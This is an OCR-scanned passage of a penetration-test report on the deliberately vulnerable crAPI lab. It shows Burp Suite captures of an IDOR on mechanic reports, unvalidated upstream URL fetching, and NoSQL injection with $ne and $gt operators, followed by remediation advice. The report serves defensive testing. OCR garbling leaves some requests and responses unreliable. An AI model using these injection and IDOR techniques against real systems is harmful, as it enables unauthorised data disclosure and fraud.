Figure 35 - Broken Object Level Authorization (IDOR) on Mechanic Reports (API1) - http://127.0.0.1:8888/workshop/api/
mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Normal flow: reference report_id=1

b. The team incremented the parameter to report_id=2. The server returned another owner's report,
disclosing their vehicle VIN and email (Confidentiality).

[ ) Burp Suite — Repeater

EXPLOIT4+CIA: report_id=2 Send > http://127.0.0.1:8888

Request Response

otak merah = bagian yang diubah dari normal fi

HTTP/1.1 200 OK

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 490

GET /workshop/api/mechanic/mechanic_report?report_id=2) HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINil9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCWi cm9sZSI6InVZZXIifQ. qiVELYKhnGZYSQoVaqL rvM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF {
P1lhalYV7A4h7XGY9sQNFyFwh 1GXTSpSE5VNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSYt8K8PLFR11qqB03gDeIv2HFI~
R-eds90fnoeCUUk4BPBCND7BbGTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHMubilsdv7g

nid: 2,
"mechanic": {
1,
hanic_code": "TRAC_JHN",

hon@example. com,

"vehicle": {
"id!
'8VAUIO3PRUQ686911",
"owner": {
"email! 0gba006@ mple.com",
"number": "9876570006"
b

},

"problem_details": "My car MG Motor - Hector Plus is having issues.\nCan you giv
e me a call on my mobile 9876570006,\nOr send me an email at pogba@@6@example.com
\nThanks, \nPogba.\n",

inprogress",

“created_on": "28 September, 2026, 14:28:07",
updated_on": null,

"comments"

}

» DAMPAK CIA: report_id dinaikkan (sekuensial) -> membocorkan laporan milik pemilik kendaraan lain (VIN + email jron@example.com). Confidentiality: data lintas-pengguna.

Figure 36 - Broken Object Level Authorization (IDOR) on Mechanic Reports (API1) - http://127.0.0.1:8888/workshop/api/
mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Exploit: report_id=2 leaks another owner's
data
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3.2.5 Unsafe Consumption of APIs (AP110) - Unsafe Consumption of APIs —
Unvalidated Upstream Response in Contact Mechanic

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 5.4 Yes CWE-20

Standard mapping API10:2023 Unsafe Consumption of APIs (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P4 - Server Security Misconfiguration (VRT 1.13)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
Testing approach Grey-box

DESCRIPTION

The contact_mechanic endpoint consumes the response of the mechanic API (a client-controlled URL)
and reflects it back to the user without validating its structure or content. The application implicitly
trusts upstream data.

IMPACT

Attackers can make the app fetch and reflect arbitrary, attacker-influenced upstream data (even error/
HTML), enabling exfiltration of internal responses or injection of content the app trusts (Confidentiality/
Integrity).

RECOMMENDATION

1. Validate and sanitize upstream responses (schema, content-type) before processing/reflecting.
2. Restrict upstream destinations to a trusted allow-list (see also the SSRF finding).
3. Never reflect raw upstream responses to the client.

REFERENCES
* VRT 1.13 - Server Security Misconfiguration
* https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/
* https://cwe.mitre.org/data/definitions/20.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)

a. The team sent contact_mechanic with a legitimate mechanic_api; the workshop consumed the
upstream response and included it in response_from_mechanic_api without validating its structure.
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[ Burp Suite — Repeater

NORMAL: konsumsi mechanic API Send >

Request

POST /workshop/api/merchant/contact_mechanic HTTP/1.1

ation: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20il.CIpYXQ
i10jE30TA20TA3MTQSImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
_8xBeCNs40s0BWNFP6m15JkS_gAyFmcPJ9MqhN_4BCGuoIQ71mzzgqWAUPd29N9mLh170aiYF
V7A4h7XGY9sQONFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rNéwlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSYyt8K8PLFR11qqB03gDeIv2HF ]~
R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

,"mechanic_api":"http://127.
1,"vin":"861PINB3CL6ZEAIX1

{"mechanic_code":"TRAC_JHN","problem_details":
1

:8888/workshop/api/mechanic/"," number_of_repeat

CONFIDENTIAL

http://127.0.0.1:8888

Response -

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270

"response_from_mechanic_api": {
"mechanics": [
{
"id": 1,
"mechanic_code' RAC_JHN",
jhon@example.com",
"number*

side 2,

"mechanic_code' RAC_JME",

"user
"emai xample.com",

"number*

"previous_offset": null,
"next_offset": null

h

"status": 200

» NORMAL FLOW: workshop memanggil mechanic API dan menyertakan responsnya (response_from_mechanic_api) tanpa validasi struktur.

Figure 37 - Unsafe Consumption of APIs — Unvalidated Upstream Response in Contact Mechanic (API110) - http://
127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - consuming mechanic API

b. The team changed mechanic_api to an arbitrary upstream URL; the workshop fetched it and
reflected the raw response (even a 404 HTML page) back to the client, proving upstream data is trusted

and reflected without validation.

[} Burp Suite — Repeater
EXPLOIT: pantulkan respons upstream mentah Send P

Request

= kotak merah = bagian yang diubah dari normal flow

POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOimYXFpaEBnbWFpbC5jb20il.CIpYXQ
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI-
R-eds9QfnoeCUUk4BPBcND7BbgTFVVXx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

{"mechanic_code":"TRAC_JHN","problem_details" ,"mechanic_api":"lhtt /127.0.0.
1:8888/community/api/v2/community/posts/recent/', " number_of_repeats":1,"vin":"861P9
NB3CL6ZEA9X1" }

» DAMPAK: URL upstream diganti sembarang; workshop mengambil & MEMANTULKAN respons mentah (bahkan HTML/error) tanpa validasi -> aplikasi p data

://127.0.0.1:8888

Response -

HTTP/1.1 404 Not Found

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 237

"{response_from_mechanic_api)': "\n<!doctype html>\n<html lang=\"en\">\n<head>\n
<title>Not Found</title>\n</head>\n<body>\n <h1>Not Found</h1><p>The requested re
source was not found on this server.</p>\n</body>\n</html>\n",

“status": 404

p yang 1 penyerang.

Figure 38 - Unsafe Consumption of APIs — Unvalidated Upstream Response in Contact Mechanic (API110) - http://
127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - raw upstream reflected
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3.2.6 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Order Return

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

PASS — No CWE-639

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/orders/return_order?order_id={id} (Return
Order)
Testing approach Grey-box
Result PASS — Maintain the ownership check on the return action.
DESCRIPTION

The order return action was tested for BOLA by attempting to return an order that belongs to another
user. The server enforced ownership authorization and rejected the request.

EVIDENCE

Affected URL: http://127.0.0.1:8888/workshop/api/shop/orders/return_order?order_id={id} (Return
Order)

a. The team logged into crAPI and opened 'Past Orders', which offers a 'Return' action for the user's
own orders — the flow tested below.

crAPI Dashboard Shop Community Good Morning, Muhammad Fagih! Muhammad ... v

< Past Orders

Seat Wheel
$10.00 $10.00
Mon Sep 28 2026 Mon Sep 28 2026
Order Details Order Details

< Previous Next >
Talk to me! ®

Figure 39 - Broken Object Level Authorization (IDOR) on Order Return (API1) - http://127.0.0.1:8888 (Grey-box) - crAPI
Past Orders page with the 'Return’ action (browser)

b. The team attempted to process a return for order_id=1, which is not owned by the attacker. The
server responded HTTP 403 "You are not allowed to access this resource!", confirming the control is
effective.
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[ ) Burp Suite — Repeater

EXPLOIT: retur order milik user lain (ditolak) Send >

http://127.0.0.1:8888

Request Response

ang
HTTP/1.1 403 Forbidden
POST /workshop/api/shop/orders/return_order?order_id=1) HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20ilCIpYXQ Content-Length: 58
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6éwlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI-
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

"message": "You are |not allowed) to access this resource!"

» PERCOBAAN EKSPLOITASI: attacker mencoba memproses retur atas order_id=1 (bukan miliknya) -> 403 ditolak. KONTROL BERJALAN (PASS): otorisasi objek ditegakkan; CIA tidak terlanggar.

Figure 40 - Broken Object Level Authorization (IDOR) on Order Return (API1) - http://127.0.0.1:8888/workshop/api/
shop/orders/return_order?order_id={id} (Return Order) (Grey-box) - Attempt blocked: return of another user's order
returns 403
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3.2.7 Broken Object Level Authorization (API1) - Missing Authentication Check on
Mechanic Report (Unauthenticated Access)

RESULT

Standard mapping

CVSS V3.1 BASE SCORE

Affected feature / URL
(Mechanic Report)
Testing approach Grey-box
Result
related FAIL finding).
DESCRIPTION

EXPLOITED

No

WEAKNESS TESTED

CWE-306

API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

PASS — Keep authentication mandatory; also add object-ownership checks (see the

The mechanic report endpoint was tested for unauthenticated access. The server required
authentication and rejected the request without a token.

EVIDENCE

Affected URL:
(Mechanic Report)

http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}

a. The team read a mechanic report with a valid token, which returned HTTP 200 (normal flow).

[ ] Burp Suite — Repeater

NORMAL: report dengan token (auth) Send P

Request

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzI1INiJ9.eylzdWIiOiJmYXFpaEBnbWFpbC5jb20il CIpYXQ
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVM
WSgX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSESVNG. GVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWj Z12g9d3kbDjHAVN697pn2czd98QQdK2E-DCQSy t8K8PLFR11qqB03gDe Iv2HF I—
R-eds9QfnoeCUUk4BPBCND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

» NORMAL FLOW: membaca mechanic report dengan token valid -> 200.

http://127.0.0.1:8888

Response -

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

*: "TRAC_JHN",

on@example. com",

{
ONKPZ@9IHOP508673",

bot@0l@example.com",
"number": "9876570001"
}
}

Iy

“problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a c

all on my mol
s, \nRob
"stati ing",
“crea 28 September, 2026, 14:28:07",
: null,

e 9876570001,\n0r send me an email at robot@@l@example.com\nThank

Figure 41 - Missing Authentication Check on Mechanic Report (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
workshop/api/mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Normal flow: report with
valid token

b. The team re-sent the request without the Authorization header. The server responded HTTP 401,

confirming the authentication control is effective.
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[ ) Burp Suite — Repeater

EXPLOIT: tanpa token (ditolak) Send > http://127.0.0.1:8888

Request Response -

yang
HTTP/1.1 401 Unauthorized

GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888
Accept: application/json

Content-Type: application/json
Content-Length: 33

# HEADER Authorization SENGAJA DIHAPUS {

"message": "JIWT Token required!"
}
}

» PERCOBAAN EKSPLOITASI: akses tanpa token -> 401. KONTROL AUTENTIKASI BERJALAN (PASS). (BOLA tetap terjadi via token user lain - lihat [FAIL].)

Figure 42 - Missing Authentication Check on Mechanic Report (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
workshop/api/mechanic/mechanic_report?report_id={id} (Mechanic Report) (Grey-box) - Attempt blocked: no token
returns 401
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3.2.8 Unrestricted Access to Sensitive Business Flows (AP16) - Unrestricted Access
to Sensitive Business Flow — Coupon Claim (Replay Protected)

RESULT CVSS V3.1 BASE SCORE

EXPLOITED WEAKNESS TESTED

No CWE-837

Standard mapping AP16:2023 Unrestricted Access to Sensitive Business Flows (OWASP API Security Top 10 2023)
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim)

Testing approach Grey-box

Result PASS — Claiming the same coupon twice was rejected (‘already claimed'); the per-user

limit is enforced.

DESCRIPTION

The team tested whether the sensitive coupon-claim business flow (which increases account balance)
could be abused by replaying the same coupon. The server enforced a per-user claim limit and rejected

the replay.

EVIDENCE

Affected URL: http://127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim)

a. Using a fresh account, the team claimed coupon TRACO75 for the first time, which succeeded and

increased the account balance.

[ ] Burp Suite — Repeater
NORMAL: klaim kupon pertama kali Send P

Request

= kotak merah = bagian yang diubah dari normal flow

POST /workshop/api/shop/apply_coupon HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzI1INiJ9.eyJzdWIi0iJjb3Vwb25wYXNzXzYXNDhAZXhhbXB
$Z55jb20ilL.CIpYXQi0jE30TA20TA3MzUSImV4cCI6MTCSMTISNTUZNSWicm9sZSI6InVzZX1ifQ. d-Ro5D
fRrA9zJp5DkmFxnT-Tj@UBmMMNKVb-hLxG1S9EZz-1vKhCQgNXdNVNQJ Twcw8wUEZ9R8vhn8cRSp2Q@F9TBwW
ENf1grDi7JqmC1l1lo07EASpVEFWSIIIGtubNiBS_aAdNrKxE2PxVQ879At9DIpEvmQQOTVIqF89zupe6FotD
5BlaeTvn9hnNuzolsNy3ZNxDI-cg7oP@IyfDsXYY21T5dp0o0LfVnFpaejk5VoggaDjHSHmOzLHawlEa4x
uXB_1y13_Lv9cn2MaqyLGnjYhC90pKf3BVzUu9v8VDPItKHkKCXqOBwd9D-DoKaRc8CDsnSh-DnJ3ndDci
QzpeGdrg

{"coupon_code" : "TRAC075" ), "amount": 75}

» NORMAL FLOW: akun mengklaim kupon TRACO075 pertama kali -> berhasil, saldo bertambah.

http://127.0.0.1:8888

Response

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 57

{
"credit": 175.0,
"message": "Coupon successfully applied!"

}

Figure 43 - Unrestricted Access to Sensitive Business Flow — Coupon Claim (Replay Protected) (API16) - http://
127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim) (Grey-box) - first coupon claim succeeds

b. The team attempted to claim the same coupon again; the server rejected it with 'already claimed',

showing the business flow is limited per user.
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[ ) Burp Suite — Repeater

EXPLOIT: replay kupon (ditolak) Send >

Request

yang

POST /workshop/api/shop/apply_coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiO...(akun baru)

{{" coupon_code RAC@75" ), "amount":75}

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 400 Bad Request
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 97

{

"message": "TRAC@75 Coupon code is (already claimed| by you!! Please try with
another coupon code"

}

» KONTROL BERJALAN (PASS): mengklaim kupon yang sama untuk kedua kali ditolak (already claimed). Alur bisnis kupon dibatasi per user; CIA tidak terlanggar.

Figure 44 - Unrestricted Access to Sensitive Business Flow — Coupon Claim (Replay Protected) (API6) - http://
127.0.0.1:8888/workshop/api/shop/apply_coupon (Coupon Claim) (Grey-box) - replay rejected
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3.3 crAPI Community Service (http://127.0.0.1:8888/community)

I 3.3.1 Security Misconfiguration (API8) - NoSQL Injection on Coupon Validation

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.1 0 Yes CWE-943

Standard mapping API18:2023 Security Misconfiguration (OWASP API Security Top 10 2023)
Impact rating High
Bugcrowd VRT P1 - Server-Side Injection (VRT 1.12)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:L/A:N
Affected feature / URL http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)
Testing approach Grey-box
DESCRIPTION

A NoSQL injection vulnerability was found in the coupon validation endpoint. The JSON value of
coupon_code is passed directly into a MongoDB query without type coercion, so supplying a query
operator (e.g., {" ne":"x"} or {" gt":""}) matches any coupon without knowing its code.

IMPACT

Attackers can use this vulnerability to disclose valid coupon codes and their values and to bypass
coupon validation for illegitimate discounts. During testing, the team retrieved a valid coupon without
knowing its code (Confidentiality + Integrity).

RECOMMENDATION

1. Coerce coupon_code to a string type before querying; reject objects and operators.
2. Use parameterized/sanitized queries and enable input schema validation.
3. Apply the same input hardening to other MongoDB-backed queries.

REFERENCES

* VRT 1.12 - Server-Side Injection
* https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/
* https://cwe.mitre.org/data/definitions/943.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)

a. The team submitted a coupon code as a normal string it already knew (TRAC075), which returned
HTTP 200 (normal usage).
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[ ) Burp Suite — Repeater

NORMAL: kode kupon valid Send P http://127.0.0.1:8888

Request Response -

HTTP/1.1 200 0K
POST /community/api/v2/coupon/validate-coupon HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20ilCIpYXQ Content-Length: 79
10jE30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVM
WSgX1XkvyP_8xBeCNs40s0BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6éwlkLLOVEKMIVtAKEUPey1G "coupon_code "TRACO75",
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI- "amount 7518
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "CreatedAt "2026-09-28T14:27:38.7292"

{"coupon_code" : "TRACO75" }

» NORMAL FLOW: user memasukkan kode kupon string yang ia ketahui (TRACO075) -> 200 valid.

Figure 45 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Normal flow: valid string coupon code

b. The team replaced coupon_code with the NoSQL operator {"$ne":"x"}. The server returned a valid
coupon without the team knowing any code.

[ ] Burp Suite — Repeater

EXPLOIT: operator $ne Send P http://127.0.0.1:8888

Request Response -

e HTTP/1.1 200 0K
POST /community/api/v2/coupon/validate-coupon HTTP/1.1 Server: openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Authorizatio Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20il CIpYXQ Content-Length: 79
10jE30TA20TA3MTQsImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s@BwWNFP6m15JkS_gAyFmcPJI9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G oupon_code": '{TRAC@75)',
ciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSYt8K8PLFR11qqB03gDeIv2HFI— “amount": "75",
R-eds9QfnoeCUUk4BPBcND7BbgTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "CreatedAt": "2026-09-28T14:27:38.7292"

{"coupon_code":({"$ne "}

» EKSPLOITASI: nilai coupon_code diganti dengan OPERATOR NoSQL {"$ne":"x"} -> membocorkan kupon valid TANPA mengetahui kodenya.

Figure 46 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Exploit: $ne operator leaks a valid coupon

c. The team used the operator {"$gt":""}, which also returned a valid coupon, confirming NoSQL
injection (Confidentiality + Integrity).

[ ) Burp Suite — Repeater
EXPLOIT+CIA: operator $gt Send > http://127.0.0.1:8888

Request Response -

= kotak merah = bagi ng diubah dari normal flo
HTTP/1.1 200 0K
POST /community/api/v2/coupon/validate-coupon HTTP/1.1 Servi openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer eyJhbGci0iJSUzI1INiJ9.eyJzdWIil mYXFpaEBnbWFpbC53jb20iL.CIpYXQ Content-Length: 79
i0jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSgX1XkvyP_8xBeCNs40s@BwWNFP6m15JkS_gAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
P1lhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G

ciCnp-6Vm_xf7g53AWj Z12g9d3kbDjHAVN697pn2czd98QQdK2E-DCQSY t8K8PLFR11qqB03gDeIv2HFI—
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX-A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

coupon_code" :({"$gt

» DAMPAK CIA: operator {"$gt":""} juga membocorkan kupon. Confidentiality (kode/nilai kupon bocor) + Integrity (validasi kupon dilewati).

Figure 47 - NoSQL Injection on Coupon Validation (API8) - http://127.0.0.1:8888/community/api/v2/coupon/validate-
coupon (Coupon Validation) (Grey-box) - Impact: $gt also leaks coupon, injection confirmed
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3.3.2 Security Misconfiguration (API8) - Coupon Validation with Normal String
Input

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

—rass [ o cwess

Standard mapping API18:2023 Security Misconfiguration (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)

Testing approach Grey-box

Result PASS — Enforce string type and reject operators/objects (see the related FAIL finding).
DESCRIPTION

Coupon validation was tested with ordinary string input (both a valid and an unknown code), without
NoSQL operators. A valid code was accepted and an unknown code was rejected as expected.

EVIDENCE
Affected URL: http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon (Coupon Validation)

a. The team submitted a valid string coupon code (TRACO075), which returned HTTP 200 (normal flow).

[ ) Burp Suite — Repeater

NORMAL: kode valid diterima Send > http://127.0.0.1:8888

Request Response -

POST /community/api/v2/coupon/validate-coupon HTTP/1.1 HTTP/1.1 200 0K
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20ilCIpYXQ Content-Type: application/json
jE30TA20TA3MTQSImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM Content-Length: 79
X1XkvyP_8xBeCNs40s@BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rNéwlkLLOVEKMIVtAKEUPey1G {
ciCnp-6Vm_xf7953AWjZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSyt8K8PLFR11qqB03gDeIv2HFI- 'coupon_code": "TRACO75",
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "amount": ’
"CreatedAt": "2026-09-28T14:27:38.729Z"
{"coupon_code" : "TRAC075"} }

» NORMAL FLOW: kode kupon string valid (TRACO075) -> 200.

Figure 48 - Coupon Validation with Normal String Input (API8) - http://127.0.0.1:8888/community/api/v2/coupon/
validate-coupon (Coupon Validation) (Grey-box) - Normal flow: valid coupon code accepted

b. The team submitted an unknown string code (INVALID_RANDOM_XYZ), which was rejected,
confirming normal input validation works.
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[ ) Burp Suite — Repeater

UJI: string tak dikenal ditolak (PASS)

Request

yang

- crAPI (Lab)

POST /community/api/v2/coupon/validate-coupon HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIiOiJmY...(token attacker faqih@)

{{" coupon_code 'NVALID_RANDOM_}

Xyz"J}

Response

HTTP/1.1 500 Internal Server Error
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 3

{

» KONTROL BERJALAN (PASS): input string biasa yang tak dikenal ditolak. (Kelemahan hanya muncul saat OPERATOR NoSQL disuntik - lihat [FAIL].)

CONFIDENTIAL

http://127.0.0.1:8888

Figure 49 - Coupon Validation with Normal String Input (API8) - http://127.0.0.1:8888/community/api/v2/coupon/
validate-coupon (Coupon Validation) (Grey-box) - Control: unknown string code rejected
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4 Summary of Recommendations

Based on our team's examination, several vulnerabilities were found in the crAPI application that can
be exploited to expose sensitive data and take over user accounts. We recommend the following
actions, ordered by severity.

Broken Authentication (API2) - JWT Signature Not Verified — Authentication Critical
Bypass

1. Verify the JWT signature with the server's RS256 public key on every request.
2. Explicitly reject the alg:none algorithm and enforce algorithm allow-listing (RS256 only).
3. Use a mature JWT library with mandatory verification and validate exp, iss, and aud claims.

Server Side Request Forgery (API7) - Server-Side Request Forgery (SSRF) via Critical
Contact Mechanic — Internal MailHog — Account Takeover

1. Do not accept arbitrary URLs from the client; use an allow-list of legitimate mechanic endpoints.

2. Block internal schemes, IP ranges (loopback, RFC1918) and internal service hostnames (e.g.,
mailhog, crapi-identity).

3. Do not reflect raw upstream responses to the client.

4. Network-segment internal services (MailHog, actuator) so URL-consuming services cannot reach
them.

Broken Function Level Authorization (API5) - Unauthenticated Access to Order
Details

1. Require authentication on the order endpoint and verify that the order belongs to the caller.
2. Replace sequential order IDs with non-guessable UUIDs.
3. Enforce centralized authorization across all workshop endpoints.

Broken Authentication (API2) - Bypassable Brute-Force Protection on Password
Reset OTP

1. Enforce a persistent per-account lockout that is not reset by requesting a new OTP.
2. Rate-limit and add CAPTCHA/anti-automation to the forget-password endpoint.
3. Use OTPs of at least 6 digits with short expiry and cumulative failure invalidation.

Security Misconfiguration (API8) - NoSQL Injection on Coupon Validation

1. Coerce coupon_code to a string type before querying; reject objects and operators.
2. Use parameterized/sanitized queries and enable input schema validation.
3. Apply the same input hardening to other MongoDB-backed queries.

Broken Function Level Authorization (API5) - Broken Function Level Medium
Authorization — Management Endpoint Exposes All Users

1. Enforce role-based authorization (verify role=admin server-side) on all management/administrative
endpoints.

2. Do not rely on the absence of a Ul link as access control.

